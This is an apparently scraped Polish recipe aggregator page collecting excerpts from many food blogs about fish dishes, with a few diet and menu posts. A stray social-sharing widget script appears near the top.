Wędzone ryby są nie tylko smaczne ale i bardzo zdrowe. Powinniśmy zatem jeść ich jak najwięcej. Pasta z wędzonej makreli Wędzona makrela ma bardzo intensywny smak. Nie każdemu zapewne głównie właśnie dzięki niemu przypada ona do gustu. Przyznaję jednak, iż w połączeniu ze składnikami, których użyłam do pasty smak makreli bardzo złagodniał. Zarówno cebula jak i cytryna nadały jej bardzo(...)Kiedy całość ma już kremową konsystencję dodać pokrojoną cebulę. Miksować 5 sekund. Pastę podawać z pieczywem. Pasta z wędzonej makreli Smacznego! Pasta z wędzonej makreli Makrelę możemy zastąpić dowolną rybą wędzoną np. łososiem, halibutem czy pstrągiem. Share List SGMB_URL = "http://www.mecooks.com/wp-content/plugins/social-media-builder/"; jQuery(".dropdownWrapper").hide(); SGMB_GOOGLE_ACOUNT = ""; jQuery(document).ready(function($){var widget = new SGMBWidget();widget.show

mecooks
Zupa ze szpinakiem i wędzonym łososiem 175

Zupa ze szpinakiem i wędzonym łososiem Thermomix Składniki: 1 cebula 1 ząbek czosnku 3 młode ziemniaki 1 marchewka 1 pietruszka pęczek szpinaku 1000 g bulionu warzywnego

Themo przepisy
Grillowany łosoś z limonką i kolendrą 157

nich odpocząć. Mam nadzieję, że mi to wybaczycie. Słodki wpis zamieniam na grillowanego łososia z limonką i kolendrą, też piknie. Uświadomiłem sobie, że nie mam żadnego przepisu z rybą na blogu, po ponad roku obecności w sieci… Sezon grillowy działa już pełną parą więc nie ma lepszej okazji, aby przygotować grillowanego łososia z limonką i kolendrą. Bardzo egzotyczne, wręcz orzeźwiające(...)połączenie smaków: pomarańczy, limonki oraz kolendry. Wiecie fiesta, Meksyk, itp. Pamiętajcie jednak, aby ryba była dobrej jakości. Jeśli łosoś to najlepiej dziki. Mimo, że na pierwszy rzut oka wygląda zdecydowanie gorzej od swojego hodowlanego kolegi – jego mięso jest dużo jaśniejsze w porównaniu z mocno różowym mięsem łososia hodowlanego. Jest też niestety droższy. Największa różnica jest jednak w składzie mięsa

PaleoLife
ŁOSOŚ W SOSIE MIODOWO-MUSZTARDOWYM Z JABŁKAMI I ROZMARYNEM 144

smażenia   Przygotowanie: Filety z łososia umyj i osusz papierowym ręcznikiem. W płaskim naczyniu wymieszaj oliwę z oliwek, miód, musztardę, czosnek i sok z cytryny. W przygotowanej marynacie obtocz rybę, przykryj i odstaw na kilka godzin do lodówki. Rybę przełóż do naczynia do pieczenia, piecz około 15 minut w temperaturze 190°C. W międzyczasie obierz jabłka i pokrój

Smaki Francji współczesna kuchnia francuska
Tarta z rabarbarem i kremem patissiere 147

Tarta z rabarbarem i kremem patissiere Thermomix Składniki na ciasto: 160 g mąki 20 g cukru szczypta soli 100 g masła 40 ml kwaśnej śmietany Składniki

Themo przepisy
Krem patissiere Thermomix 272

Krem patissiere Thermomix Mocno waniliowy, gęsty i idealnie gładki. To krem patissiere. Krem można wykorzystać jako nadzienie do rurek, babeczek czy tart. Można go również jeść

Themo przepisy
Surówka z kapusty kwaszonej i marchewki 157

Idealna tradycyjna surówka, którą pamiętam z dziecinnych lat, była zawsze serwowana do smażonej ryby. W domu było nas dużo, więc i składniki są na rodzinną dwudniową porcję dla każdego. Od siebie dodałam paprykę i koper. Podaję z ziemniakami i rybą, ale surówka pasuje także do kotletów z mięsa wieprzowego, wołowego czy drobiu. Składniki: 700 g kapusty kwaszonej 1 cebula (może

Zasmakuj Kuchni
Zupa ze szparagami, ziemniakami i koperkiem 175

Zupa ze szparagami, ziemniakami i koperkiem Thermomix Składniki: 1 cebula 1 ząbek czosnku 1 łyżka masła klarowanego 1500 g bulionu warzywnego 600 g ziemniaków (obranych i

Themo przepisy
Dietetyczna seleryba po grecku 188

Sele)Ryba po grecku to uwielbiana potrawa, której nie może zabraknąć podczas Wigilii u wielu osób. Sama jestem wielką fanką tego dania i zawsze dziwiłam się czemu jest przyrządzana tak rzadko. W związku z tym ostatnio zaczęłam ją przygotowywać dość często w uproszczonej, zdrowej i lekkiej wersji, którą dziś się z Wami podzielę. :) Dietetyczna seleryba po grecku Składniki(...)pietruszki 2 cebule 1 jabłko przecier pomidorowy 2 liście laurowe 5 kulek ziela angielskiego sól himalajska, pieprz 1 seler 4 arkusze nori  opcjonalnie: przyprawa do ryb Przygotowanie: Obrany seler pokrój na 1 cm plastry. Przełóż pokrojony seler do garnka z osoloną wodą i dodaj pokruszony arkusz nori. Gotuj, aż seler będzie miękki.  Obraną marchewkę, pietruszkę i jabłko zetrzyj

wegujemy
Tarta z łososiem, kozim serem i papryką 129

pszennej 150g masła 1 jajko 1/2 łyżeczki soli 300g świeżego łososia 1/2 czerwonej papryki 100g serka koziego 1 jajko 150g śmietany 22% 1 łyżeczka tymianku 1/2 łyżeczki przyprawy do ryb 1/2 łyżeczki gałki muszkatołowej 100g tartego sera żółtego sól, pieprz Wykonanie: Ciasto: składniki zagnieść na kruche ciasto, uformować kulę, zawinąć w folię spożywczą i schłodzić w lodówce przez 1h.Form(...)wysmarować masłem,schłodzonym ciastem wyłożyć dno i boki formy. Spód podziurkować widelcem, podpiec w 180C przez 8-10minut. Farsz: łososia kroimy w paski, oprószamy solą i przyprawą do ryb. Ser kozi kroimy w kostkę, a paprykę w paseczki. Wszystkie składniki układamy na podpieczonym spodzie tarty. Jajko mieszamy ze śmietaną i startym serem. Doprawiamy solą, pieprzem, gałką i tymiankiem.Mas

Raj dla Podniebienia
Placuszki z dorsza z brokułami i kukurydzą czyli pomysł na obiad 88

frytkami. Składniki: 200g świeżego dorsza 1/3 brokuła 1/3 puszki kukurydzy 2 łyżki mąki pszennej 1 jajko 2 łyżki tartego sera żółtego 1 łyżeczka majonezu sól pieprz kolorowy przyprawa do ryb (opcjonalnie) Wykonanie: W rondelku rozbełtać jajko, dodać mąkę i dokładnie wymieszać do uzyskania jednolitej konsystencji. Dodać majonez, tarty ser, przyprawy. Rybę pokroić na drobne kawałki, umyte różyczki brokuła podzielić

Raj dla Podniebienia
Pasta kanapkowa z wędzoną rybą i o mojego gotowania początkach 113

makrela wędzona 1 jajko 1 łyżeczka majonezu 1 łyżeczka śmietany 12% 1/2 łyżeczki musztardy sól, pieprz, gałka muszkatołowa, papryka ostra Wykonanie: Makrelę dzielimy na małe kawałki, usuwamy ości. Kawałki ryby kroimy na jeszcze drobniejsze. Ugotowane jajko ścieramy na tarce lub kroimy drobno. Dodajemy majonez, śmietankę i musztardę. Doprawiamy przyprawami, solą i pieprzem. Przed podaniem schładzamy w lodówce. Gotowe! Artykuł Pasta(...)kanapkowa z wędzoną rybą i o mojego gotowania początkach pochodzi z serwisu Raj dla Podniebienia

Raj dla Podniebienia
Stek z tuńczyka i sałatka z rukolą, kaszą kuskus, awokado, orzechami i sokiem z granatu 116

oliwek sól, pieprz garść rukoli 1 jajko 100g kaszy kuskus 1/2 pomidora 1/2 awokado ser pleśniowy srebrzysty orzechy włoskie oliwa z oliwek sok z 1/2 granatu 1/2 cytryny Wykonanie : rybę umyć, osuszyć, z obu stron natrzeć mocno oliwą z oliwek, solą i pieprzem (dość sporo). Odstawić na 15min w temperaturze pokojowej. W małej miseczce umieścić kaszę kuskus i zalać wrzątkiem(...)świeżo zmielonym pieprzem, polać odrobiną oliwy i skropić sokiem z połowy granatu. Tuńczyka przełożyć na dobrze rozgrzaną patelnię. Smażyć po 3minuty z każdej strony, nie dodając już żadnego tłuszczu. Rybę podawać z sałatką, całe danie lekko skropić sokiem z cytryny i raz jeszcze całość oprószyć pieprzem. To jest pyszne! Artykuł Stek z tuńczyka i sałatka z rukolą, kaszą kuskus, awokado

Raj dla Podniebienia
Zapiekane ziemniaki pod prostym czosnkowym beszamelem 202

puree czyli tzw. tłuczone. Takie zapiekane ziemniaki podawać jako bezmięsną przekąskę np. do zapiekanych warzyw lub jako dodatek do mięsnego dania głównego. Nadają się do wszystkich mięs i ryb. SKŁADNIKI na zapiekankę dla 2 osób: 4-5 dużych ziemniaków z gatunku niemączystych (jeśli są to młode ziemniaczki pozostawić po dokładnym umyciu w skórkach) 4 łyżki masła 4-6 łyżek mąki(...)folię aluminiową by górna warstwa nabrała złoto-brązowej warstwy zapieczenia. Podawać na gorąco jako przekąskę bezmięsną lub jako dodatek do mięsnego dania głównego. Nadaje się do wszystkich mięs i ryb

Sztuka gotowania w/g Samiry
Domowy ramen z Thermomix 282

Przepisy Thermomix. Domowy ramen. Składniki na bulion: 1 pierś z kurczaka 2 skrzydełka 1 połówka udka z kurczaka 1 marchewka pokrojona na kawałki 1 pietruszka pokrojona

Themo przepisy
Cytrynowa tarta 248

Thermomix przepisy. Cytrynowa tarta. Składniki na ciasto: 100 g masła 250 g mąki krupczatki 40g cukru pudru 1 jajko 1 łyżka kwaśnej śmietany Składniki na lemon

Themo przepisy
Fritatta z patelni, z szynką, fetą i szpinakiem. Moja opinia nt. patelni kamiennej Delimano Stone Legend. 179

kuchni oznacza ułatwienie życia. I wiecie? To jest prawda.  W ostatnim czasie sprawdzałam przydatność patelni kamiennej Stone Legend Delimano pod każdym kątem. Smażyłam placki, jajecznice, mięsa, kotlety z ryb, dania jednogarnkowe itp. Zaskakujące dla mnie jest to, że naprawdę - NAPRAWDĘ!!! - nie potrzeba tłuszczu. Producent twierdzi, że wystarczy kropla oleju. Moim zdaniem nie potrzeba nawet kropli.  To dla mnie(...)przykładzie dania. A więc mamy frittatę.  A dlaczego frittata? Bo... Sami przeczytajcie... Producent zapewnia, że powłoka jest nieprzywierająca i szczególnie nadaje się do smażenia potraw mocno przywierających (jaja, ryby), dlatego chyba najlepiej przekonać się o jej właściwościach na daniu z jajkami w roli głównej. Patelnia teflonowa, a już z pewnością żeliwna zawsze odrobinę się brudzi przy smażeniu, zawsze coś

Poezja Smaków - blog kulinarny
Pieczony łosoś z makiem 161

sztuka pomidorki koktajlowe oliwa z oliwek 3 łyżki sok z cytryny 4 łyżki Łososia umyj, posól i oprósz pieprzem. Wsyp mak na płaski talerz i obtocz w nim rybę. W rozgrzanym piekarniku  do 200 stopni piecz rybę ok 30 minut. Z rukoli, pomidorków i awokado zrób sałatkę. Polej sosem przygotowanym z soku z cytryny i oliwy z oliwek

AZgotuj!
PĘCZAK Z WARZYWAMI 192

Wszelakie kasze kochałam zawsze 💗 Nigdy nie używałam jednak w kuchni pęczaku. Kojarzył mi się tylko i wyłącznie ... z przynętą na ryby 😉 No i okazuje się, że ryby wiedzą co dobre! Bo pęczak jest pyszny! Bardzo odpowiada mi jego delikatnie orzechowy smak. Odkąd poznałam jego smak ... sypię go, gdzie tylko się da 😊 Zamieniam np. ziemniaki w zupie na pęczak, gotuję

Walijskie Pichcenie
Steki z tuńczyka po prowansalsku / Tuna provencale 249

Jakoś mało na moim blogu ryb, chociaż bardzo je lubię więc muszę nadrobić te zaległości. Przedstawiam dziś rewelacyjny i bardzo szybki przepis na steki z tuńczyka po prowansalsku, czyli pieczone na pysznym gulaszu z papryką, cukinią, oliwkami i pomidorami, z dodatkiem aromatycznego tymianku i rozmarynu. Danie to robi się dosłownie w 30 minut, a jest bardzo zdrowe i bardzo

karmelowy
Dieta pudełkowa – wady i zalety. KONKURS – wygraj dietę pudełkową! 241

regularnie odżywiać. Dietę musi być maksymalnie do Ciebie dopasowana. Powinna brać pod uwagę Twoją wagę, wzrost, wiek oraz aktywność fizyczną. Możesz przebierać spośród różnych ofert – diety standardowej, bez ryb, bez glutenu, wege, bez ryb czy też dla sportowców. Przy zamówieniu diety ustalasz jej rodzaj, kaloryczność, ilość posiłków (zwykle 3 lub 5), czas trwania oraz czas dostawy. Plusy diety pudełkowej

Moja pasja smaku
Sos tatarski 189

tatarski, najlepszy do jajek, mięs, ryb i na kanapki. Niezbędny na świątecznym stole, zarówno podczas Wielkanocy, kiedy podajemy go głównie do jajek, jak i w Święta Bożego Narodzenia, gdy smakuje najlepiej u boku wszelkiego rodzaju ryb i sałatek. Mi sos tatarski bardzo smakuje podczas letnich posiedzeń przy grillu, jako dodatek do kiełbasy, lub szaszłyka z grilla. Składniki na sos: szklanka

NiePieprz.pl
Zupa jarzynowo -ogórkowa z rybą 152

vegeta śmietana Pokrojoną marchewkę, pietruszkę,fasolkę, kalafiora oraz ziemniaki przełożyć do garnka. Wlać wodę , dodać przyprawy i gotować prawie do miękkości ziemniaków.Ogórki zetrzeć na tarce o dużych oczkach, rybę pokroić na mniejsze kawałki. Ogórki, rybę dodać do gotującej się zupy.Gotować aż ziemniaki będą miękkie. Na końcu wlać śmietanę i w razie potrzeby doprawić

Moje domowe kucharzenie
Świąteczna sałatka ziemniaczana z łososiem i szczypiorem 201

wstawiamy do lodówki, aby składniki dobrze się ze sobą połączyły. Sałatkę ziemniaczaną z łososiem podajemy na wielkanocne śniadanie z ulubionym pieczywem. Warto wiedzieć, że łosoś to wartościowa ryba. Łosoś jest bogaty w białko oraz nienasycone kwasy tłuszczowe z grupy omega-3. Kwasy te wzmacniają odporność i wspomagają regenerację komórek organizmu. Łosoś zawiera jeden z najsilniejszych naturalnych przeciwutleniaczy – astaksantynę. Zmniejsza(...)poziom „złego” cholesterolu i trójglicerydów, a także działa antynowotworowo. Łosoś ma działanie przeciwzapalne. Korzystnie działa na układ nerwowy i pomaga zniwelować negatywne skutki stresu. Ryba ta działa przeciwko oznakom starzenia się organizmu, poprawia stan cery i włosów. Jest bogaty w potas, magnez, żelazo, cynk, miedź, fosfor, selen. Znajdziemy w nim witaminy z grupy

My Chcemy Jeść
Wielkanocne menu- 35 przepisów na święta 6508

Batony drobiowe – w dwóch wersjach Szynka wieprzowa – domowa wędlina mocno jałowcowa, pieczona Domowa peklowana szynka wieprzowa na dwa sposoby – gotowana lub parzona Szynka pieczona w rękawie – szynka 2w1 ŚLEDZIE, RYBY, JAJKA I PRZYSTAWKI Śledzie ‘po włosku’ –śródziemnomorska bomba smaku Śledzie piernikowe w musztardzie, whisky i wiśniówce Śledzie po szwedzku – inlagd sill Śledzie po kaszubsku de lux– czyli moje ulubione Śledź(...)bekonową posypką Portugalska pasta z sardynek Pasta z tuńczyka – nie tylko na kanapki Sałatka z paluszków krabowych w sosie Marie Rose Sałatka z paluszków krabowych Ceviche z dorsza — bałtycka ryba i cytrusy CIASTA I DESERY Kremowy sernik nowojorski na owsiano-orzechowym spodzie Gniazdka bezowe z herbatą matcha i owocami Tort z kremem mascarpone o smaku cappuccino, z kapiącą czekoladą Sernik

Karo in the Kitchen
Kaszotto z pstrągiem 132

obieramy, kroimy na mniejsze kawałki, podsmażamy krótko na patelni. Kaszę gotujemy w szklance wody. Gdy kasza wchłonie wodę dodajemy wino, pieczarki i groszek. Mieszamy, gotujemy jeszcze ok. 5 minut. Rybę doprawiamy, grillujemy na patelni lub w piekarniku. Podajemy z kaszą

Kucharzyca
Zupa rybna 196

dorsza 600 ml bulionu warzywnego 2 średniej  wielkości ziemniaki 2 marchewki pietruszka korzeń kawałek selera łyżka oliwy z oliwek łyżka posiekanej natki pietruszki kurkuma sól, pieprz Sposób przygotowania: Rybę opłukujemy, osuszamy i kroimy na kawałki. Marchewki, pietruszkę i seler myjemy, obieramy i kroimy na kawałki. Ziemniaki myjemy, obieramy, kroimy w kostkę, gotujemy. W głębokiej patelni podgrzewamy oliwę i podsmażamy(...)krótko warzywa. Dodajemy bulion, przyprawiamy solą, pieprzem oraz kurkumą  i całość zagotowujemy. W patelni umieszczamy również kawałki ryby i wszystko gotujemy na małym ogniu przez 15 minut. Potrawę możemy podawać posypaną natką pietruszki

Menu Zdrowia
SOS KOPERKOWY 88

KOPERKOWY Kremowy i delikatny, niesamowicie łatwy w przygotowaniu. Sos ten doskonale nadaje się do jajek na twardo, ziemniaków oraz ryb np. łososia w sezamowej panierce . Serwując go do ryb, można dodać do niego sok z cytryny. Polecam przepis! SKŁADNIKI: 250g mleka 35g masła, pokrojonego na kawałki kopiasta łyżka mąki pszennej około 1/2 pęczka koperku (bez łodyżek) sól i pieprz biały

Moja Książka Kucharska
Babka cynamonowa 126

utratę zbędnych kilogramów. Niewielka nawet ilość cynamonu obniża łaknienie na słodyczce. Cynamon zawiera błonnik, żelazo, wapń, zapobiega nowotworom i chorobom układu krwionośnego. Cynamonem możemy doprawiać różne potrawy: mięsa, warzywa, ryby, ciasta, desery, koktajle, grzane wino lub piwo. Można go wykorzystywać w marynatach, dodawać do kawy. Użycie małej ilości cynamonu do przyprawienia ryb sprawia, iż znika ich nieprzyjemny zapach

Smak mojej kuchni
Sałatka z grillowanym łososiem 181

niego wyciśnięty przez praskę czosnek oraz sól i pieprz. Następnie łososia polewamy  masłem  czosnkowym. Do rozgrzanego grilla lub piekarnika wkładamy łososia i pieczemy do momentu, aż wierzch ryby się przyrumieni. Gotową rybę kroimy w kostkę. Rukole myjemy i osuszmy na sitku. Następnie układamy na półmisku. Pomidora kroimy w kostkę, oliwki przekrawamy na pół i układamy warzywa na rukoli

kulinarne odsłony pati
Ciecierzyca à la ryba po grecku 204

wielu stołach wigilijnych gości ryba po grecku.      Alternatywą dla tej ryby jest ciecierzyca, która dla wielu wegetarian lub wegan stanowi zastępstwo białka. W 100 g gotowanej ciecierzycy jest prawie 9 g białka. Dla nas może stanowić urozmaicenie menu wigilijnego stołu. Zawiera także około 27% węglowodanów i do tej grupy jest zaliczana.     Należy więc pamiętać

Dieta Rozdzielna i Zdrowie
Jak dobrać wino do kolacji? 186

bardzo różnić się od siebie i pasować do różnych potraw. Zbiór generalnych zasad Planujesz podać lekką sałatkę, na przykład z dodatkiem delikatnie doprawionego indyka albo kurczaka? Do drobiu, pieczonej ryby z warzywami, owoców morza i innych lekkich posiłków będzie pasować wytrawne, lekkie, białe wino. Z kolei wino czerwone wytrawne będzie dobrze współgrało z potrawami mięsnymi, cięższymi.   Istnieje jednak kilka(...)bukietem złożonym z ciemnych owoców (jeżyna, śliwka, jagoda) i nierzadko słodkimi kwiatowymi nutami czy też akcentami: cydru, oliwek, tytoniu. Jako jedno z nielicznych czerwonych win może dobrze współgrać z rybami, na przykład z łososiem. Będzie też dobrze smakować z białym mięsem. Przykłady win: GIOL Wino Merlot Bio, włoski Merlot bez dodatku siarczynów, kupisz we Frisco. Opinie specjalistów o tym winie

Tradycyjna Kuchnia
Zupa pomidorowa z rybą 142

skrzydełek 2 marchewki 1 pietruszka kawałek selera 1 por kawałek świeżego imbiru [około 2-3 cm] sól, pieprz listek, ziele dowolny makaron 2 -3 łyżki koncentratu pomidorowego śmietana dowolna ryba Marchewki obrać i pokroić w półplasterki.Seler, pietruszkę, imbir obrać i pokroić w kostkę,pora w półplasterki.Przełożyć do garnka, wlać wodę, dodać przyprawy, skrzydełka i gotować do miękkości warzyw(...)następnie dodać koncentrat pomidorowy i kawałki ryby [ wcześniej posypane przyprawami].Podawać z ugotowanym makaronem

Moje domowe kucharzenie
Najprostsze sushi maki 155

Niekiedy nachodzi nas z żoną ochota na zjedzenie czegoś jeszcze ładniejszego od bigosu. W sukurs przychodzi wtedy kuchnia azjatycka, która udowadnia, że wodorosty, ryż i trochę ryby mogą stworzyć przepyszne danie. Jeśli nigdy nie jedliście sushi – spróbujcie koniecznie! Od razu zaznaczę: tak, wiem, że sushi teoretycznie nie powinno się wykorzystywać takiego zwykłego wędzonego łososia. Spróbujcie mi zabronić! Lista zakupów(...)wodorost, bez smażenia. Zresztą spójrzcie, ilu lat dożywają Azjaci! Po piąte: Może być zróżnicowany. Do sushi tak naprawdę możecie użyć wielu innych składników! Ogórek, awokado, łosoś, tuńczyk lub inna ryba, paluszki krabowe, krewetki, śledź, sezam, kawior, papryka, szczypiorek… Warto pokombinować! Powyższy przepis jest świetną bazą do eksperymentów

Proste-przepisy.pl
JAK ZROBIĆ PAPRYKARZ Z MAKRELI 173

torebki ugotowanego ryżu jaśminowego( 50 g.) 3 łyżeczki koncentratu pomidorowego 5 łyżek wody 1 łyżka cukru 1 łyżka octu  Sól Pieprz Ostra papryka Słodka papryka Olej do smażenia ***************************** Rybę obrać z ości.Marchewkę obrać , umyć i zetrzeć na tarce o drobnych oczkach.Cebulę obrać i posiekać.Ryż ugotować , odcedzić.Koncentrat pomidorowy wymieszać z wodą. Na patelni rozgrzać olej, podsmażyć(...)cebulę, dodać startą marchew i chwilę smażyć.Wlać koncentrat, przyprawić, wymieszać.Wystudzić paprykarz.Ryż wymieszać z mięsem z ryby,dodać cebulę usmażone z marchewką i koncentratem.Wstawić na 12 godz.do lodówki.Smacznego

Kocurkowe rozmyślania w kuchni Anielki
Makaron z łososiem i groszkiem 173

Pyszny i co najważniejsze szybki pomysł na makaron :) Dobry sposób na wprowadzenie większej ilości ryb do jadłospisu :) SKŁADNIKI (dla 4 osób) 350 g makaronu - u nas tagliatelle (najlepiej razowy - akurat nie dostałam w sklepie) 1/2 cebuli 2-3 ząbki czosnku 400 g świeżego łososia 200 g mrożonego groszku 150 g jogurtu naturalnego 100 g serka ricotta (ewentualnie mascarpone) 1 łyżka(...)szklimy na oliwie, dodajemy drobno pokrojony czosnek i razem chwilkę przesmażamy. Z łososia ściągamy skórę i kroimy go w kostkę, groszek zalewamy na kilka minut wrzątkiem. Dorzucamy na patelnię rybę  (skrapiamy sokiem z cytryny) z groszkiem, doprawiamy solą i pieprzem i smażymy, aż łosoś się zetnie. Jogurt mieszamy z serkiem, doprawiamy 1/2 łyżeczki gałki i dolewamy na patelnię. Odcedzamy

Moje Kuchenne Rewelacje
Jaka dieta dla ćwiczących – praktycznie o odżywianiu dla ludzi aktywnych i nie tylko 225

posiłków w równych odstępach czasu (od 3 do 4 godzin), - śniadanie powinno być najbardziej obfite, obiad mniej, a kolacja symboliczna, - słodycze zastępujemy owocami, a tłuste mięso albo drobiem, albo rybą, - jak ognia unikać należy napojów sztucznie słodzonych (najlepsze w tym czasie będą woda mineralna i zielona herbata, a by zmniejszyć apetyt i przyspieszyć metabolizm zaleca się również picie zielonej kawy(...)możliwości ma człowiek podczas gotowanie tego posiłku podajemy kilka naszych propozycji: ratatouille z bakłażana i cukinii, pierś z indyka z sałatką warzywną, zapiekanka makaronowa z warzywami i sosem ziołowym, ryba zapiekana z selerem i brokułami w sosie śmietanowym, ryż z duszoną wołowiną oraz pieczarkami, faszerowana papryka z kaszą jaglaną, mięsem z indyka i przyprawami, łosoś z cytrusami. I jeszcze jedna

upichcona
Kotlety rybne 124

Kotleciki rybne to miła odmiana dla tradycyjnie podanej, usmażonej lub upieczonej ryby. Wybrałam mintaja, ale można zrobić je z każdej wyfiletowanej ryby.  500g mrożonych filetów z mintaja 1 małe jajko 3 łyżki bułki tartej 1 pęczek koperku 2 łyżki skórki otartej z cytryny sól, pieprz olej + mąka i bułka tarta do panierki 1. Filety drobno siekamy lub miksujemy. Cytrynę

Szefowa kuchni
Pikantne brokuły do obiadu 217

Świetnie pasują do kasz, ryżu, ziemniaków, mięs i ryb. Pikantne i bardzo aromatyczne - pięknie pachną i smakują. Nie podaję dokładnie składników - w zasadzie w zależności ile chcecie, ile potrzebujecie dowolnie modyfikujcie ilości poszczególnych składników. Podobnie możecie postąpić z kalafiorem. Będzie pasował do pieczonej, smażonej lub grillowanej ryby i ziemniaków. Smacznego już dziś:) Składniki: kilka różyczek brokułów (użyłam mrożonych

Zasmakuj Kuchni
Skwierczący sos – do mięs i do warzyw 193

gotowaniu. Zaintrygowani? Sprawdźcie ten sos do kurczaka, indyka, kaczki, wołowiny i do wieprzowiny, do warzyw gotowanych, tych na parze i pieczonych, do zielonych sałatek, grzanek, smażonych i pieczonych ryb i do gotowanych jaj. Gotowanie. Infuzja. Dwa proste kulinarne pojęcia, oba – jeśli jesteście stałymi czytelnikami bloga – na pewno już znacie. Ten sos to naprawdę tylko 5 składników – świeży jędrny szczypior, czosnek(...)posmakiem sparzonego szczypioru – sos pasuje wyśmienicie nie tylko do prawie wszystkich mięs (poza cielęciną i dziczyzną, oba te mięsa mają swój specyficzny smak który może przy tym sosie zginąć), ryb (idealny do karpia!) ale i do warzyw. Szczypior drobno siekamy. Czosnek i imbir obieramy, przeciskamy przez praskę – dzięki temu pozbędziemy się włókien imbiru, zostanie nam sam miąższ

Karo in the Kitchen
Trzydniowa dieta sokowa – detox nie tylko na wiosnę 1914

warzywnych. Cross poił się sokami przez 60 dni. Schudł, odzyskał zdrowie, zaczął myśleć nad tym jak jeść i gotować zdrowo, wykorzystując w swojej nowej diecie mnóstwo owoców, warzyw, ryby, owoce morza, kasze i ziarna. Soki pije nadal.   Dieta Crossa skrócona do 3 dni daje mocnego witaminowego kopa i reset szczególnie dla nerek i wątroby . To spora ilość płynów, prawdziwa(...)szklanki ciepłej wody z imbirem i cytryną, zwiększamy ilość warzyw i owoców w posiłkach, odstawiamy węglowodany. Jeśli jecie mięso – zamieniamy steki, schabowego i kotlety na mięso drobiowe lub mięso ryb – łatwo przyswajalne, niskotłuszczowe, bogate w białko. Pozwoli to układowi trawiennemu na krótki wstęp do tego, co go za chwilę czeka i pozwoli na szybsze oczyszczanie. PO 3 DNIACH DIETY

Karo in the Kitchen
10 pomysłów na szybkie Lunchbox’y 11322

twardo 2 łyżki kukurydzy 1 łyżeczka musztardy garść mix sałat świeżo mielony pieprz Przygotowanie: Ugotować jajko. Tuńczyka oraz kukurydzę odcedzić. Jajka pokroić w kostkę wymieszać z rybą oraz kukurydzą, doprawić pieprzem. Placki do tortilli wysmarować musztardą, wyłożyć sałatkę oraz wymieszane wcześniej składniki i zawinąć w rulon. Gotowe.   Tortilla z szynką(...)sosie własnym. Sos: 2 łyżki jogurtu naturalnego 1 łyżka majonezu szczypta ziół prowansalskich szczypta świeżo mielonego pieprzu Przygotowanie: Makaron i brokuły ugotować w lekko osolonej wodzie. Rybę odsączyć z nadmiaru oleju lub sosu własnego (w zależności od rodzaju). Wszystkie składniki wymieszać ze sobą. Składniki na sos wymieszać i gotowe. Sałatkę oraz

KuchniaWeDwoje.pl
Dieta samuraja oraz przykładowy jadłospis. 236

dziennie, pijemy tylko wodę, zieloną herbatę lub czarną kawę. Dodajemy do naszej diety ryż: basmanti, jaśminiowy, sushi, itp. i inne bezglutenowe pseudozboża np. kasze (gryczana, jaglana), komosę ryżową. Jemy : ryby, drób, chude mięso i jajka, owoce morza. Bez ograniczeń: brokuł, sałatę, kalafior, itp. Nie liczymy kalorii z warzyw, które nie zawierają skrobi. Ograniczamy spożycie alkoholu. Nate radzi spożywać cheat meal(...)szpinak lub inne warzywa kawa lub herbata Przekąska: 1 banan Obiad: 100-250 gram chudego mięsa warzywa 1-2 garście orzechów Kolacja: 100-250 gram chudego mięsa lub ryby sałatka z brokuła szklanka ugotowanego ryżu Jeszcze raz chciałbym podkreślić, że nie jestem dietetykiem ani trenerem. Powyższy wpis miał na celu pokazania Wam jednej z dróg, którą można się kierować przy

PaleoLife
Stek z tuńczyka 160

Tuńczyk jest rybą niskokaloryczną o dużej zawartości białka i wysokiej wartości odżywczej. Mięso tuńczyka charakteryzuje się ciemnym kolorem, od różowego po fioletowy. Tuńczyk to bogate źródło witamin, głównie witaminy A, D oraz witamin z grupy B i kwasy omega-3. Mają one korzystny wpływ na wygląd skóry, poprawiają działanie wzroku oraz(...)wspomagają produkcję czerwonych krwinek. Przygotowanie steku z tuńczyka to najprostszy sposób na przygotowanie jakiejkolwiek ryby. Aby uzyskać stek krwisty, należy smażyć go na mocno rozgrzanej patelni po 1 minucie z obu stron, średnio wysmażony – po 2 minuty, a dobrze wysmażony – po 3 minuty. Ja smażyłam po 2,5 minuty

To co kocham
PASTA Z MAKRELI Z PLACUSZKAMI PEŁNOZIARNISTYMI 191

natka pietruszki. Oprócz tego wiosną jest Wielkanoc, czyli na stole jajka z przeróżnymi farszami.  Ja dla odmiany połączyłam to, co najlepsze i najzdrowsze, czyli koper, natkę pietruszki, rybę i jaja. W moim domu bardzo lubimy rybę w każdej postaci. Na śniadanie często przygotowuję pasty, więc aby przywołać wiosnę na moim stole, przygotowałam pastę z makreli z jajkiem i dużą

Kuchnia Paulettes
Halibut z pieca 122

Lubię piec ryby w piekarniku. Doprawiam i zamykam je w gorącym piecu na kilka minut i robią sie same. Składniki: halibut dzwonka  4 sztuki sól i pieprz do smaku cytryna 1 sztuka oliwa z oliwek 2 łyżki Przygotowanie: Halibuta umyć, natrzeć solą i pieprzem. W formie do zapiekania rozprowadzić oliwę z oliwek, ułożyć rybę, przyprawić do smaku i położyć

AZgotuj!
Środa Popielcowa... Poradnik 163

syta. Dziś, tak jak  Wielki Piątek obowiązuje post od pokarmów mięsnych. Niżej krótki poradnik: TO MOŻNA JEŚĆ: CHLEB: to symbol nie tylko ciała Chrystusa, ale także pojednania.  RYBA: powinna znajdować się przede wszystkim w każdy piątek, ale w Wielki Piątek i dziś (Środa Popielcowa) szczególnie. Ryba to symbol chrześcijan. WARZYWA: dostarczają mnóstwo witamin, a także zdrowia, o które

Gotuję Testuję
Śledzie po sułtańsku z suszonymi pomidorami 168

Ostatni dzień karnawału należy uczcić tak zwanym "śle dzikiem". A co jeść w ten szczególny dzień? Oczywiście śle dzia!  Ryba z decy dowanie nie musi być nu dna. Wprost przeciwnie. Wystarczy 10 minut, aby przygotować przekąskę dla siebie lub na ostatki ze znajomymi :) Skła dniki: Beczka śle dzi SEKO z suszonymi pomi dorami 3 cebule 4- 5 łyżek koncentratu(...)kroimy w półksiężyce. Lekko solimy. Po dsmażamy na oliwie do miękkości. Koncentratem pomi dorowym doprawiamy cebulę. Kroimy w paski suszone pomi dory oraz śle dzie ( grubość ok 2 cm). Rybę, pomi dory, ro dzynki oraz pokrojoną bazylię łączymy z sosem. doprawiamy do smaku solą, pieprzem, cukrem oraz sokiem z cytryny. Stu dzimy i pozostawiamy do przegryzienia. Smacznego

ChilliJemy
Flądra pieczona 172

